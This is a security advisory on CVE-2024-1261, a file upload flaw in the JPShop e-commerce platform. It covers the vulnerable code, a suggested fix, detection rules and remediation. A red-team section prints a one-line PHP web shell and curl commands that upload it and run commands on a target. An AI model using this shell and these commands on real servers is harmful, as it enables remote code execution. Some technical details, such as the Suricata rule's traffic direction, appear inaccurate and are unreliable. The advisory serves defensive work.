CVE-2024-1261

Executive Summary

CVE-2024-1261 is a critical unrestricted file upload vulnerability affecting the Juanpao JPShop e-commerce platform up to version 1.5.02. The flaw resides in the /api/controllers/merchant/app/ComboController.php file, specifically within the actionIndex function. By manipulating the pic_url parameter, an authenticated attacker can upload arbitrary files to the server, potentially leading to remote code execution (RCE). The vulnerability has a CVSS v3.1 base score of 6.3 (Medium), but its impact is elevated due to the potential for full system compromise. No official patch has been released, and a public proof-of-concept (PoC) is available, making this a high-priority threat for all JPShop deployments.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application vulnerability. However, organizations using JPShop should audit their entire supply chain for any third-party libraries or dependencies that may be affected by similar file upload flaws.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid merchant account.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – An attacker can read arbitrary files.
• Integrity (I): Low (L) – An attacker can modify files, but not all.
• Availability (A): Low (L) – An attacker can cause limited service disruption.

Threat Level: High. While the CVSS score is Medium, the public availability of exploit code and the lack of a patch significantly increase the risk. An attacker with a low-privilege account can achieve full file read and potentially RCE.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the JPShop API. The actionIndex function in /api/controllers/merchant/app/ComboController.php is designed to handle file uploads for merchant combo images. The flaw lies in the insufficient validation of the pic_url parameter.

Root Cause: The application fails to properly validate the file extension, MIME type, or content of the uploaded file. The pic_url parameter is directly used in a file move operation without sanitization. An attacker can upload a PHP web shell disguised as an image file (e.g., shell.php.jpg or shell.php).

Attack Flow:

1. Authentication: The attacker must first obtain a valid merchant account on the JPShop platform.
2. Craft Payload: The attacker creates a malicious PHP file (e.g., a web shell) that can execute system commands.
3. Upload: The attacker sends a POST request to the vulnerable endpoint with the malicious file in the pic_url parameter.
4. Access: The uploaded file is stored in a web-accessible directory (e.g., /uploads/). The attacker can then access the file via a web browser to execute commands.

Technical Details: The vulnerable code likely resembles the following (pseudocode):

public function actionIndex() {
    $file = $_FILES['pic_url'];
    $uploadDir = '/path/to/uploads/';
    $filename = $file['name'];
    move_uploaded_file($file['tmp_name'], $uploadDir . $filename);
    // No validation of $filename extension or content
}

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical secure implementation.

Vulnerable Code (JPShop <= 1.5.02):

public function actionIndex() {
    $file = $_FILES['pic_url'];
    $uploadDir = '/path/to/uploads/';
    $filename = $file['name'];
    move_uploaded_file($file['tmp_name'], $uploadDir . $filename);
    echo json_encode(['status' => 'success', 'url' => '/uploads/' . $filename]);
}

Patched Code (Hypothetical):

public function actionIndex() {
    $file = $_FILES['pic_url'];
    $uploadDir = '/path/to/uploads/';
    $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    
    if (!in_array($extension, $allowedExtensions)) {
        echo json_encode(['status' => 'error', 'message' => 'Invalid file type.']);
        return;
    }
    
    // Generate a unique filename to prevent overwriting
    $filename = uniqid() . '.' . $extension;
    move_uploaded_file($file['tmp_name'], $uploadDir . $filename);
    echo json_encode(['status' => 'success', 'url' => '/uploads/' . $filename]);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of JPShop (<= 1.5.02).
• Valid merchant credentials (e.g., merchant:password).

Step 1: Craft a Web Shell Create a simple PHP web shell:

<?php system($_GET['cmd']); ?>

Save it as shell.php.

Step 2: Upload the Shell Use curl to upload the file:

curl -X POST \
  -F "pic_url=@shell.php" \
  -b "PHPSESSID=your_session_id" \
  "http://target.com/api/controllers/merchant/app/ComboController"

Step 3: Execute Commands Access the uploaded shell:

curl "http://target.com/uploads/shell.php?cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads to the /api/controllers/merchant/app/ComboController endpoint.
• Look for files with double extensions (e.g., .php.jpg) or non-image extensions.
• Alert on any file upload that results in a PHP file being stored in the uploads directory.

Hunting:

• Search for files in the uploads directory that have PHP extensions.
• Review web server logs for requests to /uploads/*.php.
• Check for unexpected processes spawned by the web server user.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files with .php extension in the /uploads/ directory.
• Files named shell.php, cmd.php, webshell.php, etc.
• Files containing the string system( or exec(.

Network-Based IOCs:

• POST requests to /api/controllers/merchant/app/ComboController with a pic_url parameter containing a file.
• GET requests to /uploads/*.php?cmd= or similar patterns.
• Outbound connections from the web server to unknown IP addresses (C2).

Log-Based IOCs:

• Web server access logs showing 200 responses for .php files in the uploads directory.
• Error logs showing PHP parse errors for uploaded files.

Detection Engineering

YARA Rule

rule CVE_2024_1261_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-1261"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1261"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $exec_func = /exec\s*\(/
        $shell_exec = /shell_exec\s*\(/
        $passthru = /passthru\s*\(/
    condition:
        $php_tag and any of ($system_func, $exec_func, $shell_exec, $passthru)
}

Sigma Rule

title: CVE-2024-1261 JPShop Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1261 via file upload to JPShop
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/controllers/merchant/app/ComboController'
        cs-uri-query|contains: 'pic_url'
    condition: selection
falsepositives:
    - Legitimate image uploads by merchants
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1261 JPShop Unrestricted File Upload Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/controllers/merchant/app/ComboController"; http_uri;
    content:"pic_url"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, block access to /api/controllers/merchant/app/ComboController via web server configuration (e.g., .htaccess or Nginx location block).
2. Restrict upload directory permissions: Ensure the uploads directory is not executable. Set chmod -R 644 on all files and chmod -R 755 on directories, and configure the web server to not execute PHP files in the uploads directory.
3. Implement input validation: Add server-side validation for file extensions, MIME types, and file content. Only allow image files (JPEG, PNG, GIF).

Long-Term Fix:

• Apply the hypothetical patch provided in the "Vulnerable vs. Patched Code" section.
• Monitor the vendor's website for an official patch.
• Consider migrating to a supported e-commerce platform if JPShop is no longer maintained.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing pic_url with non-image file extensions.
• Implement a Content Security Policy (CSP) to prevent execution of scripts from the uploads directory.

Valters IT
Securing Digital Frontiers